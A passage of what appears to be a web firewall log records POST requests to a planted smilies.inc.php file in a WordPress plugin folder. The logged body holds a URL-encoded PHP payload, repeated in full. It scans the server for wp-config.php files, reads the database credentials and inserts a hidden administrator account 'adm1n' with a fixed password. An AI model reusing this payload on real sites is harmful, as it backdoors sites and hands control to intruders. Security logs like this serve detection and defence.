%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:25:42","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ybXJBY:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nybXJBY=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%